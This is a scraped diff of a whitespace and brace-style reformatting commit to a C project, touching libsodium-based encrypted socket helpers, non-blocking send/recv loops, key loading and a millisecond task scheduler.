/* make sure we have enough space to encrypt the buffer */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);
|
||||
|
||||
@@ -218,7 +237,9 @@ void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, ui
|
||||
sock->outCount += LAIKAENC_SIZE(sz);
|
||||
}
|
||||
|
||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
|
||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
|
||||
uint8_t *priv)
|
||||
{
|
||||
/* decrypt into buf */
|
||||
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
|
||||
LAIKA_ERROR("Failed to decrypt!\n");
|
||||
@@ -226,12 +247,14 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
|
||||
}
|
||||
|
||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) {
|
||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data)
|
||||
{
|
||||
laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap);
|
||||
sock->outBuf[sock->outCount++] = data;
|
||||
}
|
||||
|
||||
uint8_t laikaS_readByte(struct sLaika_socket *sock) {
|
||||
uint8_t laikaS_readByte(struct sLaika_socket *sock)
|
||||
{
|
||||
uint8_t tmp = *sock->inBuf;
|
||||
|
||||
/* pop 1 byte */
|
||||
@@ -239,17 +262,18 @@ uint8_t laikaS_readByte(struct sLaika_socket *sock) {
|
||||
return tmp;
|
||||
}
|
||||
|
||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||
{
|
||||
if (sock->flipEndian) {
|
||||
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
|
||||
int k;
|
||||
|
||||
laikaS_read(sock, (void*)tmp, sz);
|
||||
laikaS_read(sock, (void *)tmp, sz);
|
||||
|
||||
/* copy tmp buffer to user buffer, flipping endianness */
|
||||
for (k = 0; k < sz; k++)
|
||||
*((uint8_t*)buf + k) = tmp[sz - k - 1];
|
||||
|
||||
*((uint8_t *)buf + k) = tmp[sz - k - 1];
|
||||
|
||||
ENDVLA(tmp);
|
||||
} else {
|
||||
/* just a wrapper for laikaS_read */
|
||||
@@ -257,16 +281,17 @@ void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
}
|
||||
}
|
||||
|
||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||
{
|
||||
if (sock->flipEndian) {
|
||||
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
|
||||
int k;
|
||||
|
||||
/* copy user buffer to tmp buffer, flipping endianness */
|
||||
for (k = 0; k < sz; k++)
|
||||
tmp[k] = *((uint8_t*)buf + (sz - k - 1));
|
||||
tmp[k] = *((uint8_t *)buf + (sz - k - 1));
|
||||
|
||||
laikaS_write(sock, (void*)tmp, sz);
|
||||
laikaS_write(sock, (void *)tmp, sz);
|
||||
ENDVLA(tmp);
|
||||
} else {
|
||||
/* just a wrapper for laikaS_write */
|
||||
@@ -274,7 +299,8 @@ void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
}
|
||||
}
|
||||
|
||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) {
|
||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
|
||||
{
|
||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||
int i, rcvd, start = sock->inCount;
|
||||
|
||||
@@ -284,14 +310,16 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
|
||||
/* make sure we have enough space to recv */
|
||||
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
|
||||
rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
|
||||
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
|
||||
|
||||
if (rcvd == 0) {
|
||||
errCode = RAWSOCK_CLOSED;
|
||||
} else if (SOCKETERROR(rcvd) && LN_ERRNO != LN_EWOULD
|
||||
} else if (SOCKETERROR(rcvd) &&
|
||||
LN_ERRNO != LN_EWOULD
|
||||
#ifndef _WIN32
|
||||
/* if it's a posix system, also make sure its not a EAGAIN result (which is a recoverable error, there's just nothing to read lol) */
|
||||
&& LN_ERRNO != EAGAIN
|
||||
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
|
||||
recoverable error, there's just nothing to read lol) */
|
||||
&& LN_ERRNO != EAGAIN
|
||||
#endif
|
||||
) {
|
||||
/* if the socket closed or an error occurred, return the error result */
|
||||
@@ -318,13 +346,15 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
return errCode;
|
||||
}
|
||||
|
||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed) {
|
||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed)
|
||||
{
|
||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||
int sent, i, sentBytes = 0;
|
||||
|
||||
/* write bytes to the socket until an error occurs or we finish sending */
|
||||
do {
|
||||
sent = send(sock->sock, (buffer_t*)(&sock->outBuf[sentBytes]), sz - sentBytes, LN_MSG_NOSIGNAL);
|
||||
sent = send(sock->sock, (buffer_t *)(&sock->outBuf[sentBytes]), sz - sentBytes,
|
||||
LN_MSG_NOSIGNAL);
|
||||
|
||||
/* check for error result */
|
||||
if (sent == 0) { /* connection closed gracefully */
|
||||
@@ -333,7 +363,8 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
} else if (SOCKETERROR(sent)) { /* socket error? */
|
||||
if (LN_ERRNO != LN_EWOULD
|
||||
#ifndef _WIN32
|
||||
/* posix also has some platforms which define EAGAIN as a different value than EWOULD, might as well support it. */
|
||||
/* posix also has some platforms which define EAGAIN as a different value than
|
||||
EWOULD, might as well support it. */
|
||||
&& LN_ERRNO != EAGAIN
|
||||
#endif
|
||||
) { /* socket error! */
|
||||
@@ -348,7 +379,7 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
errCode = RAWSOCK_POLL;
|
||||
goto _rawWriteExit;
|
||||
}
|
||||
} while((sentBytes += sent) < sz);
|
||||
} while ((sentBytes += sent) < sz);
|
||||
|
||||
_rawWriteExit:
|
||||
#if 0
|
||||
|
@@ -2,23 +2,28 @@
|
||||
|
||||
#include <string.h>
|
||||
|
||||
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv) {
|
||||
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv)
|
||||
{
|
||||
size_t _unused;
|
||||
|
||||
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL, &_unused, NULL) != 0)
|
||||
return false;
|
||||
|
||||
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL, &_unused, NULL) != 0)
|
||||
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL,
|
||||
&_unused, NULL) != 0)
|
||||
return false;
|
||||
|
||||
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL,
|
||||
&_unused, NULL) != 0)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) {
|
||||
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv)
|
||||
{
|
||||
return crypto_kx_keypair(outPub, outPriv) == 0;
|
||||
}
|
||||
|
||||
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) {
|
||||
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* check if key is in authKey list */
|
||||
|
@@ -1,19 +1,24 @@
|
||||
#include "lmem.h"
|
||||
#include "ltask.h"
|
||||
|
||||
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms
|
||||
also side note: microsoft? more like micropenis */
|
||||
long laikaT_getTime() {
|
||||
#include "lmem.h"
|
||||
|
||||
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get
|
||||
the current time in ms also side note: microsoft? more like micropenis */
|
||||
long laikaT_getTime()
|
||||
{
|
||||
struct timespec ts;
|
||||
timespec_get(&ts, TIME_UTC);
|
||||
return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert time (seconds & nanoseconds) to milliseconds */
|
||||
return ts.tv_sec * 1000 +
|
||||
ts.tv_nsec / 1000000; /* convert time (seconds & nanoseconds) to milliseconds */
|
||||
}
|
||||
|
||||
void laikaT_initTaskService(struct sLaika_taskService *service) {
|
||||
void laikaT_initTaskService(struct sLaika_taskService *service)
|
||||
{
|
||||
service->headTask = NULL;
|
||||
}
|
||||
|
||||
void laikaT_cleanTaskService(struct sLaika_taskService *service) {
|
||||
void laikaT_cleanTaskService(struct sLaika_taskService *service)
|
||||
{
|
||||
struct sLaika_task *curr = service->headTask, *last;
|
||||
|
||||
/* walk though tasks, freeing all */
|
||||
@@ -24,7 +29,8 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) {
|
||||
}
|
||||
}
|
||||
|
||||
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
|
||||
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
|
||||
{
|
||||
struct sLaika_task *curr = service->headTask, *last = NULL;
|
||||
|
||||
task->scheduled = laikaT_getTime() + task->delta;
|
||||
@@ -47,7 +53,8 @@ void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
|
||||
}
|
||||
}
|
||||
|
||||
void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
|
||||
void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
|
||||
{
|
||||
struct sLaika_task *curr = service->headTask, *last = NULL;
|
||||
|
||||
if (task == service->headTask) { /* if task is root, set root to next */
|
||||
@@ -65,7 +72,9 @@ void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task
|
||||
}
|
||||
}
|
||||
|
||||
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData) {
|
||||
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
|
||||
taskCallback callback, void *uData)
|
||||
{
|
||||
struct sLaika_task *task = laikaM_malloc(sizeof(struct sLaika_task));
|
||||
|
||||
task->callback = callback;
|
||||
@@ -77,17 +86,21 @@ struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta
|
||||
return task;
|
||||
}
|
||||
|
||||
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task) {
|
||||
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task)
|
||||
{
|
||||
unscheduleTask(service, task);
|
||||
laikaM_free(task);
|
||||
}
|
||||
|
||||
void laikaT_pollTasks(struct sLaika_taskService *service) {
|
||||
void laikaT_pollTasks(struct sLaika_taskService *service)
|
||||
{
|
||||
struct sLaika_task *last, *curr = service->headTask;
|
||||
clock_t currTick = laikaT_getTime();
|
||||
|
||||
/* run each task, list is already sorted from closest scheduled task to furthest */
|
||||
while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */
|
||||
while (curr != NULL &&
|
||||
curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events
|
||||
that follow are also not scheduled yet */
|
||||
/* walk to next task */
|
||||
last = curr;
|
||||
curr = curr->next;
|
||||
@@ -102,7 +115,8 @@ void laikaT_pollTasks(struct sLaika_taskService *service) {
|
||||
}
|
||||
|
||||
/* will return the delta time in ms till the next event. -1 for no tasks scheduled */
|
||||
int laikaT_timeTillTask(struct sLaika_taskService *service) {
|
||||
int laikaT_timeTillTask(struct sLaika_taskService *service)
|
||||
{
|
||||
if (service->headTask) {
|
||||
int pause = service->headTask->scheduled - laikaT_getTime();
|
||||
return (pause > 0) ? pause : 0;
|
||||
|
Reference in New Issue
Block a user